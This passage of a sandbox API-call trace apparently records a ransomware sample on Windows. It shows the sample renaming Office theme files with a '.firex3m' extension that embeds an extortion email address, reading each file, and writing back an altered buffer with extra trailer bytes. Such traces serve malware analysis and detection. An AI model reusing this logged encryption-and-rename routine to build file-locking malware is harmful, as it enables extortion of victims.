lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x75da, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5440 [0249.285] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0249.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\watermar\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0249.285] GetProcessHeap () returned 0x630000 [0249.285] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x75e1) returned 0x7453008 [0249.285] GetProcessHeap () returned 0x630000 [0249.285] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x75e1) returned 0x7125060 [0249.285] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.285] ReadFile (in: hFile=0x4f0, lpBuffer=0x7453008, nNumberOfBytesToRead=0x75c0, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7453008*, lpNumberOfBytesRead=0x64bff0c*=0x75c0, lpOverlapped=0x0) returned 1 [0253.094] GetProcessHeap () returned 0x630000 [0253.094] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317db0 [0253.094] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.094] WriteFile (in: hFile=0x4f0, lpBuffer=0x7125060*, nNumberOfBytesToWrite=0x75c0, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7125060*, lpNumberOfBytesWritten=0x64bff0c*=0x75c0, lpOverlapped=0x0) returned 1 [0253.095] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.095] WriteFile (in: hFile=0x4f0, lpBuffer=0x712c61f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x712c61f*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0253.095] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.095] WriteFile (in: hFile=0x4f0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0253.095] CloseHandle (hObject=0x4f0) returned 1 [0253.095] GetProcessHeap () returned 0x630000 [0253.095] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7125060 | out: hHeap=0x630000) returned 1 [0253.096] GetProcessHeap () returned 0x630000 [0253.096] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7453008 | out: hHeap=0x630000) returned 1 [0253.096] GetProcessHeap () returned 0x630000 [0253.096] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317db0 | out: hHeap=0x630000) returned 1 [0254.427] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.427] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATERMAR\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c609b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c609b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5cce6006, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x75fe, dwReserved0=0x9647496, dwReserved1=0x7453000, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d51c0 [0254.428] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0254.428] Sleep (dwMilliseconds=0x1) [0254.432] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_TileLargeSquare.scale-100.png", len=0x98 | out: pbstr=0x64bff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_TileLargeSquare.scale-100.png") returned 1 [0254.432] GetProcessHeap () returned 0x630000 [0254.432] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e44) returned 0x6fe3bb0 [0254.432] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\AppTiles\\Weather_TileLargeSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\apptiles\\weather_tilelargesquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.453] Sleep (dwMilliseconds=0x1) [0254.471] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\PREVIEW.GIF", len=0x6c | out: pbstr=0x64bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\PREVIEW.GIF") returned 1 [0254.471] GetProcessHeap () returned 0x630000 [0254.471] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dc8) returned 0x6fe3bb0 [0254.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\satin\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0254.474] CloseHandle (hObject=0x6a0) returned 1 [0254.474] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0254.474] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\satin\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\satin\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0254.476] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.476] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x289576aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x289576aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x289576aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4e40 [0254.476] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0254.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\satin\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0254.477] GetProcessHeap () returned 0x630000 [0254.477] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe21) returned 0x7280120 [0254.477] GetProcessHeap () returned 0x630000 [0254.477] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe21) returned 0x7280fa8 [0254.477] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.477] ReadFile (in: hFile=0x6a0, lpBuffer=0x7280120, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7280120*, lpNumberOfBytesRead=0x64bff0c*=0xe00, lpOverlapped=0x0) returned 1 [0254.500] GetProcessHeap () returned 0x630000 [0254.500] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0254.500] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.500] WriteFile (in: hFile=0x6a0, lpBuffer=0x7280fa8*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7280fa8*, lpNumberOfBytesWritten=0x64bff0c*=0xe00, lpOverlapped=0x0) returned 1 [0254.500] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.500] WriteFile (in: hFile=0x6a0, lpBuffer=0x7281da7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7281da7*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0254.500] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.500] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0254.500] CloseHandle (hObject=0x6a0) returned 1 [0254.500] GetProcessHeap () returned 0x630000 [0254.500] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7280fa8 | out: hHeap=0x630000) returned 1 [0254.501] GetProcessHeap () returned 0x630000 [0254.501] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7280120 | out: hHeap=0x630000) returned 1 [0254.502] GetProcessHeap () returned 0x630000 [0254.502] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0254.502] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.502] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x289576aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x289576aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5da4771f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xe3f, dwReserved0=0x7ff, dwReserved1=0x7280120, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d5440 [0254.502] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0254.502] Sleep (dwMilliseconds=0x1) [0254.572] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\PREVIEW.GIF", len=0x6f | out: pbstr=0x64bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\PREVIEW.GIF") returned 1 [0254.572] GetProcessHeap () returned 0x630000 [0254.572] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dac) returned 0x6fe3bb0 [0254.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0254.573] CloseHandle (hObject=0x6a0) returned 1 [0254.574] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0254.574] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ricepapr\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ricepapr\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0254.584] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.585] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d53c0 [0254.585] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0254.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ricepapr\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0254.585] GetProcessHeap () returned 0x630000 [0254.585] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfa1) returned 0x727d80 [0254.585] GetProcessHeap () returned 0x630000 [0254.585] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xfa1) returned 0x6fc7b0 [0254.585] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.585] ReadFile (in: hFile=0x4e8, lpBuffer=0x727d80, nNumberOfBytesToRead=0xf80, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesRead=0x64bff0c*=0xf80, lpOverlapped=0x0) returned 1 [0255.871] GetProcessHeap () returned 0x630000 [0255.871] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0255.871] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.871] WriteFile (in: hFile=0x4e8, lpBuffer=0x6fc7b0*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc7b0*, lpNumberOfBytesWritten=0x64bff0c*=0xf80, lpOverlapped=0x0) returned 1 [0255.872] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.872] WriteFile (in: hFile=0x4e8, lpBuffer=0x6fd72f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fd72f*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0255.872] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0255.872] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0255.872] CloseHandle (hObject=0x4e8) returned 1 [0255.872] GetProcessHeap () returned 0x630000 [0255.872] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc7b0 | out: hHeap=0x630000) returned 1 [0255.872] GetProcessHeap () returned 0x630000 [0255.872] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0255.872] GetProcessHeap () returned 0x630000 [0255.872] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0255.872] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0255.872] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e76480f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xfa6, dwReserved0=0x9647496, dwReserved1=0x727d78, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4f40 [0255.873] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0255.873] Sleep (dwMilliseconds=0x1) [0256.915] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\ICE.ELM", len=0x66 | out: pbstr=0x64bff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\ICE.ELM") returned 1 [0256.915] GetProcessHeap () returned 0x630000 [0256.915] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ce4) returned 0x6fe3bb0 [0256.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\ICE.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ice\\ice.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0259.760] CloseHandle (hObject=0x6d0) returned 1 [0259.760] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0259.760] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\ICE.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ice\\ice.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\ICE.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ice\\ice.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0262.703] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0262.703] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\ICE.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27ba1ded, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ba1ded, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ba1ded, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x109d0, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="ICE.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ICEELM~1.FIR")) returned 0x6d51c0 [0262.703] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0262.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ICE\\ICE.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\ice\\ice.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d0 [0262.703] GetProcessHeap () returned 0x630000 [0262.703] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x71c0048 [0262.703] GetProcessHeap () returned 0x630000 [0262.703] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70a7c70 [0262.703] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0262.703] ReadFile (in: hFile=0x6d0, lpBuffer=0x71c0048, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x71c0048*, lpNumberOfBytesRead=0x64bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0268.031] GetProcessHeap () returned 0x630000 [0268.031] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73174f0 [0268.031] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.032] WriteFile (in: hFile=0x6d0, lpBuffer=0x70a7c70*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70a7c70*, lpNumberOfBytesWritten=0x64bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0268.032] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.032] WriteFile (in: hFile=0x6d0, lpBuffer=0x70b306f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x70b306f*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0268.032] SetFilePointerEx (in: hFile=0x6d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.032] WriteFile (in: 